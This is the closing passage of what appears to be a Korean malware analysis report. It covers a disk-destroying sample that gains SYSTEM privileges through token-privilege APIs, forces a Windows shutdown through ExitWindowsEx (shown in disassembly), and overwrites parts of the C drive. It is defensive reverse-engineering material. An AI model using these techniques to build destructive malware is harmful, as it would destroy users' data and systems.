LookupPrivilegeValueA AdjustTokenPrivileges 해당 API를통해, SYSTEM 권한을획득한다. 권한획득에자세한방법은 Windows 7에서 DLL Injection이필요할때, 동일한방법을이용하기때문에별도로검색을통해찾아보길바란다. 0040219B. 68 03000280 PUSH 80020003 004021A0. 6A 05 PUSH 5 004021A2. FF96 D0030000 CALL DWORD PTR DS:[ESI+3D0] ; USER32.ExitWindowsEx 009EFDEC 00000005 009EFDF0 80020003 [ ExitWindowsEx Parameter ] ExitWindowsEx는 Windows를종료하게해주는 API 이지만, SYSTEM 권한이없으면작동에오작동이있을수있다. 해당위치에서 ExitWindowsEx 가하는행위는다음과같다. ExitWindowsEx( EWX_FORCE, SHTDN_REASON_FLAG_PLANNED SHTDN_REASON_MINOR_UPGRADE SHTDN_REASON_MAJOR_OPERATINGSYSTEM ); Windows 가강제로종료된다. 22. 마무리 이와같은과정을전부다통과하면, 자동으로 Windows가재부팅또는종료가된다. 기존 C 드라이브같은경우도 Dummy값으로일부덮어버렸기때문에, MBR을복구한다고할지라도쉽게 C 드라이브같은영역은복구하기힘들것이라예상된다. 페이지 20 / 20